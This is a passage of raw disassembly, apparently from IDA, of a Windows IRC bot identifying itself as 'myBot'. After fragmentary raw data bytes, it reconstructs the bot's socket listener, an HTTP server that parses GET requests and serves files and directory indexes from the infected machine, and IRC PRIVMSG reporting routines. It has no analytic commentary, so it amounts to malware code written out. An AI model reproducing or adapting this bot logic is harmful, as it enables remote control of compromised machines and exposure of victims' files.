0FF57FFFFh, 4CB03C15h dd 54B5FF00h, 0E8FFFFFFh, 0FFFFCA8Ah, 90006A59h, 2D166FE8h db 2 byte_40E991 db 55h, 8Bh, 0ECh ; DATA XREF: sub_40BACD+22Ao dd 0A70EC81h, 458B0000h, 57565308h, 0A9B9016Ah, 8B000000h dd 20BD8DF0h, 5BFFFFF9h, 9889A5F3h, 2A0h, 0F590858Dh, 0F633FFFFh dd 1016850h, 5D890000h, 0D45D89E4h, 89DC5D89h, 0FFFDD4B5h dd 0C4B589FFh, 90FFFFFBh, 6A57F9E8h, 6A535671h, 37E89002h dd 8B716A52h, 4271F435h, 0E44D8D00h, 0BF51046Ah, 0FFFFh dd 5057046Ah, 0FFF84589h, 0D4458DD6h, 6A50046Ah, 7D8B57FBh dd 0D6FF57F8h, 50DC458Dh, 4667E68h, 37E85780h, 90716A2Bh dd 0ACE0A166h, 6583004Ch, 665000B8h, 2B445C7h, 0A415FF00h dd 66004CAFh, 8DB64589h, 106AB445h, 0E8905750h, 716A5482h dd 77DC085h, 60E9C38Bh, 6A000005h, 0E890570Ah, 716A7382h dd 0FDD49D89h, 1D8BFFFFh, 427224h, 0FDD8BD89h, 7D89FFFFh dd 8D416AFCh, 0FFFDD4B5h, 0BD8D59FFh, 0FFFFFBC4h, 0F633A5F3h dd 0FBC4858Dh, 5656FFFFh, 458B5056h, 905040FCh, 6A2DF3E8h dd 0FFF88371h, 50E840Fh, 0FF330000h, 89FC7539h, 0C57C087Dh dd 646AF633h, 0FD60858Dh, 5056FFFFh, 0CACFE8h, 8D646A00h dd 0FFFF5085h, 0E85056FFh, 0CAC0h, 8D18C483h, 0FFFBC485h dd 0E85750FFh, 17C76h, 840FC085h, 4BAh, 75F87D3Bh, 0F0458D7Ah dd 10F045C7h, 50000000h, 0FDC4858Dh, 0FF50FFFFh, 0E890F875h dd 716A9B85h, 0FFFF883h, 49184h, 39C93300h, 0FFFDD4B5h dd 8D1676FFh, 0FFFDD895h, 740239FFh, 0C283410Ch, 0D48D3B04h dd 72FFFFFDh, 0D48D3BF0h, 75FFFFFDh, 0D4BD8316h, 40FFFFFDh dd 84890D73h, 0FFFDD88Dh, 0D485FFFFh, 3BFFFFFDh, 37EFC45h dd 56FC4589h, 0C68156Ah, 50004338h, 3BE9D3FFh, 56000004h dd 0FD60858Dh, 646AFFFFh, 19E85750h, 90716A6Bh, 527FC085h dd 0FDD4958Bh, 0C933FFFFh, 3A76D63Bh, 0FDD8858Dh, 3839FFFFh dd 83410A74h, 0CA3B04C0h, 26EBF472h, 73CA3B4Ah, 8D848D1Bh dd 0FFFFFDD8h, 4104508Bh, 958B1089h, 0FFFFFDD4h, 4A04C083h dd 0EC72CA3Bh, 0FDD48DFFh, 0E857FFFFh, 716A2EA5h, 3D4E990h dd 858D0000h, 0FFFFFCC8h, 50858D50h, 50FFFFFFh, 0FD60858Dh dd 468FFFFh, 50004338h, 0DA58E8h, 50858D00h, 68FFFFFFh dd 4337FCh, 0D472E850h, 0C4830000h, 75C08518h, 166A560Dh dd 4337E468h, 82E900h, 858D0000h, 0FFFFFF50h, 4337DC68h dd 4DE85000h, 590000D4h, 7559C085h, 146A560Ah, 4337C468h dd 8D61EB00h, 0FFFF5085h, 37BC68FFh, 0E8500043h, 0D42Ch dd 59C08559h, 6A560A75h, 37AC680Dh, 40EB0043h, 0FF50858Dh dd 0A468FFFFh, 50004337h, 0D40BE8h, 0C0855900h, 560A7559h dd 9068106Ah, 0EB004337h, 50858D1Fh, 68FFFFFFh, 43378Ch dd 0D3EAE850h, 85590000h, 0E7559C0h, 681E6A56h, 43376Ch dd 2F1E957h, 64BF0000h, 8D004337h, 0FFFF5085h, 0E85057FFh dd 0D3C4h, 59C08559h, 858D2475h, 0FFFFFCC8h, 43376068h dd 0ADE85000h, 590000D3h, 7559C085h, 136A560Dh, 43374C68h dd 2B2E900h, 858D0000h, 0FFFFFF50h, 8DE85057h, 590000D3h dd 7559C085h, 0C8858D24h, 68FFFFFCh, 433748h, 0D376E850h dd 85590000h, 0D7559C0h, 68136A56h, 433734h, 27BE9h, 50858D00h dd 68FFFFFFh, 43372Ch, 0D352E850h, 85590000h, 347559C0h dd 0BE0A6Ah, 59004337h, 0FED8BD8Dh, 0A5F3FFFFh, 0D8858D50h dd 50FFFFFEh, 9DE8A566h, 590000C2h, 0D8858D50h, 50FFFFFEh dd 0FF0875FFh, 0E9F633D3h, 235h, 0FF50858Dh, 0F868FFFFh dd 50004336h, 0D307E8h, 0C0855900h, 6A2A7559h, 36E0BE05h dd 8D590043h, 0FFFF38BDh, 66A5F3FFh, 858D50A5h, 0FFFFFF38h dd 51E8A450h, 590000C2h, 38858D50h, 0EBFFFFFFh, 50858DB2h dd 68FFFFFFh, 4336D8h, 0D2C6E850h, 85590000h, 850F59C0h dd 0B6h, 0FD2C858Dh, 8D50FFFFh, 0FFFF0485h, 458D50FFh dd 458D50ECh, 458D50E8h, 458D50E0h, 858D50D8h, 0FFFFFD60h dd 4336B068h, 62E85000h, 8D0000D8h, 0FFFF0485h, 8AE850FFh dd 8B0000C9h, 2C858DF8h, 50FFFFFDh, 0C97CE8h, 0F4458900h dd 858D326Ah, 0FFFFFF04h, 81E85056h, 830000C7h, 858D34C4h dd 0FFFFFF04h, 57F475FFh, 4336A868h, 5FE85000h, 6A0000CAh dd 4858D10h, 56FFFFFFh, 0CF8FE850h, 0C4830000h, 0F445891Ch dd 50EC458Dh, 50E8458Dh, 50E0458Dh, 50D8458Dh, 68C4458Dh dd 43369Ch, 0CA2CE850h, 0C4830000h, 1D6A5618h, 43367C68h dd 11EE900h, 858D0000h, 0FFFFFF50h, 43367468h, 0F5E85000h dd 590000D1h, 0F59C085h, 0E485h, 286A5600h, 43364868h dd 875FF00h, 75FFD3FFh, 0C4458DF4h, 120E850h, 83590000h dd 0F5901F8h, 0B685h, 0C4458D00h, 20858D50h, 68FFFFF7h dd 43362Ch, 0C9C8E850h, 0C4830000h, 0BCB5390Ch, 75FFFFFBh dd 858D5623h, 0FFFFF720h, 0FBB8B5FFh, 8D50FFFFh, 0FFFB3885h dd 0B5FF50FFh, 0FFFFF920h, 0FFAB89E8h, 14C483FFh, 14AE8h dd 1F88300h, 93850Fh, 6A560000h, 36146817h, 75FF0043h dd 8DD3FF08h, 8D50C445h, 0FFF72085h, 35F468FFh, 0E8500043h dd 0C96Ah, 390CC483h, 0FFFBBCB5h, 562375FFh, 0F720858Dh dd 0B5FFFFFFh, 0FFFFFBB8h, 38858D50h, 50FFFFFBh, 0F920B5FFh dd 2BE8FFFFh, 83FFFFABh, 858D14C4h, 0FFFFF720h, 6256E850h dd 5FF0000h, 4CDAB0h, 562EEB59h, 0D068206Ah, 0EB004335h dd 50858D1Fh, 68FFFFFFh, 42C9C0h, 0D0F6E850h, 85590000h dd 0D7559C0h, 681B6A56h, 4335B4h, 0FF0875FFh, 8D646AD3h dd 0FFFD6085h, 0E85056FFh, 0C5F4h, 83087D8Bh, 3B470CC4h dd 7D89FC7Dh, 18E0F08h, 0E9FFFFFBh, 0FFFFFAC1h, 5F58016Ah dd 0C2C95B5Eh db 4, 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 1A0h lea eax, [ebp-1A0h] push eax push 101h call near ptr 71AB41DAh nop push 0 push 1 push 2 nop call near ptr 71AB3C22h push dword ptr [ebp+8] mov dword_4CDCF8, eax mov word ptr [ebp-10h], 2 call near ptr 71AB12F8h nop push dword ptr [ebp+0Ch] mov [ebp-0Ch], eax call near ptr 71AB1746h nop mov [ebp-0Eh], ax lea eax, [ebp-10h] push 10h push eax push dword_4CDCF8 call near ptr 71AB3E5Dh nop cmp eax, 0FFFFFFFFh jnz short loc_40F036 push dword_4CDCF8 nop call near ptr 71AB1A6Dh nop call near ptr 71AB1836h xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_40F036: ; CODE XREF: ___:0040F01Ej push 1 pop eax leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 504h push esi lea eax, [ebp-104h] push 104h push eax push 0 call near ptr 2670000h nop lea eax, [ebp-104h] push offset dword_429068 push eax call sub_41B4C2 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_40F0D2 test byte ptr [esi+0Ch], 10h jnz short loc_40F0B6 push edi mov edi, 400h loc_40F07E: ; CODE XREF: ___:0040F0B3j push esi push 1 lea eax, [ebp-504h] push edi push eax call sub_41B11A add esp, 10h lea eax, [ebp-504h] push 0 push edi push eax push dword_4CDCF8 nop call near ptr 71AB1AF4h push 1 nop call near ptr 2670ECEh test byte ptr [esi+0Ch], 10h jz short loc_40F07E pop edi loc_40F0B6: ; CODE XREF: ___:0040F076j push esi call sub_41B05B pop ecx push dword_4CDCF8 nop call near ptr 71AB1A6Dh nop call near ptr 71AB1836h push 1 pop eax loc_40F0D2: ; CODE XREF: ___:0040F070j pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F0D5 proc near ; DATA XREF: sub_401ACD+2283o ; sub_40BACD+475o var_28F0 = byte ptr -28F0h var_18F0 = byte ptr -18F0h var_8F0 = byte ptr -8F0h var_6F0 = byte ptr -6F0h var_5EC = dword ptr -5ECh var_5E8 = byte ptr -5E8h var_360 = byte ptr -360h var_25C = dword ptr -25Ch var_254 = dword ptr -254h var_250 = dword ptr -250h var_24C = dword ptr -24Ch var_248 = dword ptr -248h var_23C = byte ptr -23Ch var_138 = dword ptr -138h var_134 = dword ptr -134h var_34 = byte ptr -34h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 28F0h call sub_41BB20 mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_5EC] push 1 rep movsd pop esi xor ebx, ebx mov [eax+3ACh], esi push 10h lea eax, [ebp+var_24] push ebx push eax mov [ebp+var_14], esi call sub_41B590 add esp, 0Ch mov [ebp+var_24], 2 push [ebp+var_25C] call dword_4CAFA4 push ebx push esi push 2 mov [ebp+var_22], ax mov [ebp+var_20], ebx call dword_4CB024 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_C], edi jz loc_40F4C0 mov eax, [ebp+var_254] push 10h imul eax, 234h mov dword_43DEEC[eax], edi lea eax, [ebp+var_24] push eax push edi call dword_4CAFD0 cmp eax, 0FFFFFFFFh jz loc_40F4C0 push 7FFFFFFFh push edi call dword_4CAFCC cmp eax, 0FFFFFFFFh jz loc_40F4C0 lea eax, [ebp+var_14] push eax push 8004667Eh push edi call dword_4CB040 cmp eax, 0FFFFFFFFh jz loc_40F4C0 mov ebx, esi mov [ebp+var_134], edi mov [ebp+var_138], ebx mov [ebp+var_8], edi loc_40F1AC: ; CODE XREF: sub_40F0D5+3E1j push 41h xor eax, eax pop ecx lea esi, [ebp+var_138] push eax push eax push eax lea eax, [ebp+var_6F0] push eax mov eax, [ebp+var_8] lea edi, [ebp+var_6F0] inc eax rep movsd push eax call dword_4CAF8C cmp eax, 0FFFFFFFFh jz loc_40F4BB xor esi, esi mov [ebp+var_4], esi loc_40F1E2: ; CODE XREF: sub_40F0D5+3DBj lea eax, [ebp+var_6F0] push eax push esi call dword_4CAE90 test eax, eax jz loc_40F4A6 cmp esi, [ebp+var_C] jnz short loc_40F264 lea eax, [ebp+var_10] mov [ebp+var_10], 10h push eax lea eax, [ebp+var_34] push eax push [ebp+var_C] call dword_4CB038 cmp eax, 0FFFFFFFFh jz loc_40F4A6 xor ecx, ecx test ebx, ebx jbe short loc_40F236 lea edx, [ebp+var_134] loc_40F22A: ; CODE XREF: sub_40F0D5+15Fj cmp [edx], eax jz short loc_40F236 inc ecx add edx, 4 cmp ecx, ebx jb short loc_40F22A loc_40F236: ; CODE XREF: sub_40F0D5+14Dj ; sub_40F0D5+157j cmp ecx, ebx jnz short loc_40F253 cmp ebx, 40h jnb short loc_40F253 mov [ebp+ecx*4+var_134], eax mov ebx, [ebp+var_138] inc ebx mov [ebp+var_138], ebx loc_40F253: ; CODE XREF: sub_40F0D5+163j ; sub_40F0D5+168j cmp eax, [ebp+var_8] jbe loc_40F4A6 mov [ebp+var_8], eax jmp loc_40F4A6 ; --------------------------------------------------------------------------- loc_40F264: ; CODE XREF: sub_40F0D5+126j mov edi, 1000h lea eax, [ebp+var_28F0] push edi push 0 push eax call sub_41B590 push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_41B590 add esp, 18h lea eax, [ebp+var_28F0] push 0 push edi push eax push esi call dword_4CAFBC test eax, eax jg short loc_40F2F7 push esi call dword_4CB03C xor ecx, ecx test ebx, ebx jbe loc_40F4A6 lea eax, [ebp+var_134] loc_40F2B6: ; CODE XREF: sub_40F0D5+1EBj cmp [eax], esi jz short loc_40F2C7 inc ecx add eax, 4 cmp ecx, ebx jb short loc_40F2B6 jmp loc_40F4A6 ; --------------------------------------------------------------------------- loc_40F2C7: ; CODE XREF: sub_40F0D5+1E3j lea eax, [ebx-1] cmp ecx, eax jnb short loc_40F2EB lea eax, [ebp+ecx*4+var_134] loc_40F2D5: ; CODE XREF: sub_40F0D5+214j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_40F2D5 loc_40F2EB: ; CODE XREF: sub_40F0D5+1F7j dec ebx mov [ebp+var_138], ebx jmp loc_40F4A6 ; --------------------------------------------------------------------------- loc_40F2F7: ; CODE XREF: sub_40F0D5+1C8j xor esi, esi push 104h lea eax, [ebp+var_23C] push esi push eax call sub_41B590 lea eax, [ebp+var_28F0] mov [ebp+arg_0], esi push eax call sub_41AFE0 add esp, 10h test eax, eax jbe loc_40F4A6 loc_40F325: ; CODE XREF: sub_40F0D5+309j mov eax, [ebp+arg_0] mov al, [ebp+eax+var_28F0] cmp al, 0Ah mov [ebp+esi+var_18F0], al jnz loc_40F3CA mov esi, offset aGet_0 ; "GET " lea eax, [ebp+var_18F0] push esi push eax call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_40F39E lea eax, [ebp+var_18F0] push eax call sub_41AFE0 cmp eax, 5 pop ecx jbe short loc_40F39E mov eax, offset asc_42CA60 ; " " push eax push eax lea eax, [ebp+var_18F0] push esi push eax call sub_41B900 pop ecx pop ecx push eax call sub_41B900 pop ecx pop ecx push eax call sub_41C0F4 push eax lea eax, [ebp+var_23C] push eax call sub_41BEB0 add esp, 10h jmp short loc_40F3B5 ; --------------------------------------------------------------------------- loc_40F39E: ; CODE XREF: sub_40F0D5+27Fj ; sub_40F0D5+291j lea eax, [ebp+var_18F0] push offset asc_43384C ; "\r\n" push eax call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_40F3E9 loc_40F3B5: ; CODE XREF: sub_40F0D5+2C7j push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_41B590 add esp, 0Ch or esi, 0FFFFFFFFh loc_40F3CA: ; CODE XREF: sub_40F0D5+263j inc [ebp+arg_0] lea eax, [ebp+var_28F0] push eax inc esi call sub_41AFE0 cmp [ebp+arg_0], eax pop ecx jb loc_40F325 jmp loc_40F4A6 ; --------------------------------------------------------------------------- loc_40F3E9: ; CODE XREF: sub_40F0D5+2DEj xor ecx, ecx test ebx, ebx jbe short loc_40F433 lea eax, [ebp+var_134] loc_40F3F5: ; CODE XREF: sub_40F0D5+32Dj mov esi, [ebp+var_4] cmp [eax], esi jz short loc_40F406 inc ecx add eax, 4 cmp ecx, ebx jb short loc_40F3F5 jmp short loc_40F436 ; --------------------------------------------------------------------------- loc_40F406: ; CODE XREF: sub_40F0D5+325j lea eax, [ebx-1] cmp ecx, eax jnb short loc_40F42A lea eax, [ebp+ecx*4+var_134] loc_40F414: ; CODE XREF: sub_40F0D5+353j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_40F414 loc_40F42A: ; CODE XREF: sub_40F0D5+336j dec ebx mov [ebp+var_138], ebx jmp short loc_40F436 ; --------------------------------------------------------------------------- loc_40F433: ; CODE XREF: sub_40F0D5+318j mov esi, [ebp+var_4] loc_40F436: ; CODE XREF: sub_40F0D5+32Fj ; sub_40F0D5+35Cj lea eax, [ebp+var_23C] test eax, eax jz short loc_40F49F lea eax, [ebp+var_360] push eax call sub_41AFE0 mov edi, eax lea eax, [ebp+var_23C] push eax call sub_41AFE0 add edi, eax pop ecx cmp edi, 104h pop ecx jnb short loc_40F49F and [ebp+arg_0], 0 lea eax, [ebp+arg_0] push eax push 8004667Eh push esi call dword_4CB040 push [ebp+var_254] lea eax, [ebp+var_23C] push [ebp+var_248] push eax lea eax, [ebp+var_360] push eax push esi call sub_40F6B3 add esp, 14h jmp short loc_40F4A6 ; --------------------------------------------------------------------------- loc_40F49F: ; CODE XREF: sub_40F0D5+369j ; sub_40F0D5+38Fj push esi call dword_4CB03C loc_40F4A6: ; CODE XREF: sub_40F0D5+11Dj ; sub_40F0D5+143j ... mov esi, [ebp+var_4] inc esi cmp esi, [ebp+var_8] mov [ebp+var_4], esi jbe loc_40F1E2 jmp loc_40F1AC ; --------------------------------------------------------------------------- loc_40F4BB: ; CODE XREF: sub_40F0D5+102j mov edi, [ebp+var_C] xor ebx, ebx loc_40F4C0: ; CODE XREF: sub_40F0D5+6Aj ; sub_40F0D5+92j ... call dword_4CAF38 push eax lea eax, [ebp+var_8F0] push offset unk_433824 push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_24C], ebx jnz short loc_40F506 push ebx lea eax, [ebp+var_8F0] push [ebp+var_250] push eax lea eax, [ebp+var_5E8] push eax push [ebp+var_5EC] call sub_409A72 add esp, 14h loc_40F506: ; CODE XREF: sub_40F0D5+40Cj lea eax, [ebp+var_8F0] push eax call sub_4151AC pop ecx push edi call dword_4CB03C push [ebp+var_254] call sub_40B412 pop ecx push ebx call near ptr 26E0000h nop pop edi pop esi pop ebx sub_40F0D5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F530 proc near ; DATA XREF: sub_40F6B3+24Do var_1654 = byte ptr -1654h var_654 = byte ptr -654h var_550 = byte ptr -550h var_44C = dword ptr -44Ch var_3C8 = byte ptr -3C8h var_2C4 = byte ptr -2C4h var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_A4 = dword ptr -0A4h var_9C = byte ptr -9Ch var_68 = byte ptr -68h var_20 = byte ptr -20h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1654h call sub_41BB20 mov eax, [ebp+arg_0] push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_44C] rep movsd mov dword ptr [eax+3ACh], 1 lea eax, [ebp+var_3C8] push eax lea eax, [ebp+var_550] push eax call sub_41B886 pop ecx lea eax, [ebp+var_2C4] pop ecx push eax lea eax, [ebp+var_654] push eax call sub_41B886 xor edi, edi pop ecx cmp [ebp+var_A4], edi pop ecx jz short loc_40F596 push offset aTextHtml ; "text/html" jmp short loc_40F59B ; --------------------------------------------------------------------------- loc_40F596: ; CODE XREF: sub_40F530+5Dj push offset aApplicationOct ; "application/octet-stream" loc_40F59B: ; CODE XREF: sub_40F530+64j lea eax, [ebp+var_9C] push eax call sub_41B886 pop ecx lea eax, [ebp+var_68] pop ecx mov esi, 409h push 46h push eax push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy" push edi push edi push esi nop call near ptr 2740000h lea eax, [ebp+var_20] push 1Eh push eax push offset aHhMmSs ; "HH:mm:ss" push edi push edi push esi nop call near ptr 2730000h lea eax, [ebp+var_20] cmp [ebp+var_B8], 0FFFFFFFFh push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax jnz short loc_40F614 lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_41B886 add esp, 24h jmp short loc_40F635 ; --------------------------------------------------------------------------- loc_40F614: ; CODE XREF: sub_40F530+C5j push [ebp+var_B8] lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_41B886 add esp, 28h loc_40F635: ; CODE XREF: sub_40F530+E2j lea eax, [ebp+var_1654] push edi push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_1654] push eax push [ebp+var_44C] call dword_4CAFF4 cmp [ebp+var_A4], edi jnz short loc_40F675 lea eax, [ebp+var_550] push eax push [ebp+var_44C] call sub_40FFF0 pop ecx pop ecx jmp short loc_40F692 ; --------------------------------------------------------------------------- loc_40F675: ; CODE XREF: sub_40F530+12Dj lea eax, [ebp+var_654] push eax push edi push [ebp+var_44C] lea eax, [ebp+var_550] push eax call sub_40F96A add esp, 10h loc_40F692: ; CODE XREF: sub_40F530+143j push [ebp+var_44C] call dword_4CB03C push [ebp+var_B4] call sub_40B412 pop ecx push edi call near ptr 26E0000h nop pop edi pop esi sub_40F530 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F6B3 proc near ; CODE XREF: sub_40F0D5+3C0p var_8C4 = byte ptr -8C4h var_6C4 = dword ptr -6C4h var_640 = byte ptr -640h var_53C = byte ptr -53Ch var_330 = dword ptr -330h var_32C = dword ptr -32Ch var_31C = dword ptr -31Ch var_318 = dword ptr -318h var_314 = byte ptr -314h var_211 = byte ptr -211h var_210 = byte ptr -210h var_10C = byte ptr -10Ch var_10B = byte ptr -10Bh var_10A = byte ptr -10Ah var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 8C4h push ebx push esi push edi xor edi, edi push 104h lea eax, [ebp+var_210] push edi push eax mov [ebp+var_4], edi call sub_41B590 mov eax, [ebp+arg_8] add esp, 0Ch cmp byte ptr [eax], 2Fh jz short loc_40F6E9 push eax push offset aS_3 ; "\\%s" jmp short loc_40F6F2 ; --------------------------------------------------------------------------- loc_40F6E9: ; CODE XREF: sub_40F6B3+2Cj push eax mov byte ptr [eax], 5Ch push offset aS_1 ; "%s" loc_40F6F2: ; CODE XREF: sub_40F6B3+34j lea eax, [ebp+var_10C] push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_10C] xor esi, esi xor ebx, ebx push eax call sub_41AFE0 test eax, eax pop ecx jbe short loc_40F78D mov [ebp+arg_8], 2 loc_40F71D: ; CODE XREF: sub_40F6B3+D8j lea eax, [ebp+var_10C] push eax call sub_41AFE0 cmp [ebp+arg_8], eax pop ecx jnb short loc_40F75D cmp [ebp+esi+var_10C], 25h jnz short loc_40F75D cmp [ebp+esi+var_10B], 32h jnz short loc_40F75D cmp [ebp+esi+var_10A], 30h jnz short loc_40F75D inc esi mov [ebp+ebx+var_210], 20h inc esi add [ebp+arg_8], 2 jmp short loc_40F777 ; --------------------------------------------------------------------------- loc_40F75D: ; CODE XREF: sub_40F6B3+7Aj ; sub_40F6B3+84j ... mov al, [ebp+esi+var_10C] cmp al, 2Fh jnz short loc_40F76D push 5Ch pop eax jmp short loc_40F770 ; --------------------------------------------------------------------------- loc_40F76D: ; CODE XREF: sub_40F6B3+B3j movsx eax, al loc_40F770: ; CODE XREF: sub_40F6B3+B8j mov [ebp+ebx+var_210], al loc_40F777: ; CODE XREF: sub_40F6B3+A8j lea eax, [ebp+var_10C] inc esi inc [ebp+arg_8] push eax inc ebx call sub_41AFE0 cmp esi, eax pop ecx jb short loc_40F71D loc_40F78D: ; CODE XREF: sub_40F6B3+61j lea eax, [ebp+var_210] push eax lea eax, [ebp+var_314] push [ebp+arg_4] push offset dword_4293F4 push eax call sub_41B886 lea eax, [ebp+var_314] push offset asc_4299C8 ; "\n" push eax call sub_41C0F4 add esp, 18h lea eax, [ebp+var_314] push eax nop call near ptr 2680DE1h push 1 cmp eax, 10h pop esi jz short loc_40F7DE cmp eax, 0FFFFFFFFh jnz short loc_40F7E1 push [ebp+arg_0] jmp loc_40F861 ; --------------------------------------------------------------------------- loc_40F7DE: ; CODE XREF: sub_40F6B3+11Cj mov [ebp+var_4], esi loc_40F7E1: ; CODE XREF: sub_40F6B3+121j cmp [ebp+ebx+var_211], 5Ch jnz short loc_40F7EE mov [ebp+var_4], esi loc_40F7EE: ; CODE XREF: sub_40F6B3+136j mov ebx, [ebp+arg_0] cmp [ebp+var_4], edi mov [ebp+var_6C4], ebx mov [ebp+var_318], edi jz short loc_40F86C cmp [ebp+arg_C], edi jz short loc_40F860 lea eax, [ebp+var_314] push offset asc_433AD8 ; "*" push eax call sub_41BEC0 pop ecx lea eax, [ebp+var_314] pop ecx push eax lea eax, [ebp+var_640] push eax call sub_41B886 lea eax, [ebp+var_210] push eax call sub_4100AD add esp, 0Ch lea eax, [ebp+var_210] push eax lea eax, [ebp+var_53C] push eax call sub_41B886 or [ebp+var_330], 0FFFFFFFFh pop ecx pop ecx mov [ebp+var_31C], esi jmp short loc_40F8BB ; --------------------------------------------------------------------------- loc_40F860: ; CODE XREF: sub_40F6B3+152j push ebx loc_40F861: ; CODE XREF: sub_40F6B3+126j call dword_4CB03C jmp loc_40F963 ; --------------------------------------------------------------------------- loc_40F86C: ; CODE XREF: sub_40F6B3+14Dj push edi push edi push 3 push edi push esi lea eax, [ebp+var_314] push 80000000h push eax nop call near ptr 2700729h mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40F8BB lea eax, [ebp+var_314] push eax lea eax, [ebp+var_640] push eax call sub_41B886 pop ecx mov [ebp+var_31C], edi pop ecx push edi push esi call near ptr 2740ADEh nop push esi mov [ebp+var_330], eax nop call near ptr 26619D4h loc_40F8BB: ; CODE XREF: sub_40F6B3+1ABj ; sub_40F6B3+1D6j mov esi, [ebp+arg_10] lea eax, [ebp+var_8C4] push esi push offset unk_433AA4 push eax call sub_41B886 push edi lea eax, [ebp+var_8C4] push 3 push eax call sub_40B0F6 mov [ebp+var_32C], eax imul eax, 234h add esp, 18h mov dword_43DEE4[eax], esi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_6C4] push edi push eax push offset sub_40F530 push edi push edi call near ptr 2680000h nop mov ecx, [ebp+var_32C] imul ecx, 234h cmp eax, edi mov dword_43DEF4[ecx], eax jz short loc_40F935 loc_40F923: ; CODE XREF: sub_40F6B3+280j cmp [ebp+var_318], edi jnz short loc_40F963 push 5 call near ptr 2670ECEh nop jmp short loc_40F923 ; --------------------------------------------------------------------------- loc_40F935: ; CODE XREF: sub_40F6B3+26Ej push ebx call dword_4CB03C nop call near ptr 2680930h push eax lea eax, [ebp+var_8C4] push offset unk_433A6C push eax call sub_41B886 lea eax, [ebp+var_8C4] push eax call sub_4151AC add esp, 10h loc_40F963: ; CODE XREF: sub_40F6B3+1B4j ; sub_40F6B3+276j pop edi pop esi xor eax, eax pop ebx leave retn sub_40F6B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F96A proc near ; CODE XREF: sub_401ACD+777Ap ; sub_40F530+15Ap var_594 = byte ptr -594h var_490 = byte ptr -490h var_388 = dword ptr -388h var_374 = byte ptr -374h var_368 = dword ptr -368h var_35C = byte ptr -35Ch var_248 = byte ptr -248h var_48 = byte ptr -48h var_20 = byte ptr -20h var_18 = word ptr -18h var_16 = word ptr -16h var_12 = word ptr -12h var_10 = word ptr -10h var_E = word ptr -0Eh var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 594h push ebx push esi push edi xor ebx, ebx push 104h lea eax, [ebp+var_594] push ebx push eax mov [ebp+var_4], ebx mov [ebp+var_8], ebx call sub_41B590 mov edi, [ebp+arg_0] push offset asc_4299C8 ; "\n" push edi call sub_41C0F4 add esp, 14h cmp [ebp+arg_8], ebx jz short loc_40F9C9 push edi mov esi, 200h push [ebp+arg_8] lea eax, [ebp+var_248] push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n" push esi push eax call sub_41B980 add esp, 14h jmp loc_40FAC8 ; --------------------------------------------------------------------------- loc_40F9C9: ; CODE XREF: sub_40F96A+3Aj cmp [ebp+arg_C], ebx push edi jz loc_40FAAE call sub_41AFE0 pop ecx mov [eax+edi-1], bl push edi mov esi, 200h push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"... lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFF4 push edi push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""... lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFF4 push edi call sub_41AFE0 pop ecx mov byte ptr [eax+edi], 2Ah push 3Ch push 96h push 0E6h push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"... lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 18h lea eax, [ebp+var_248] 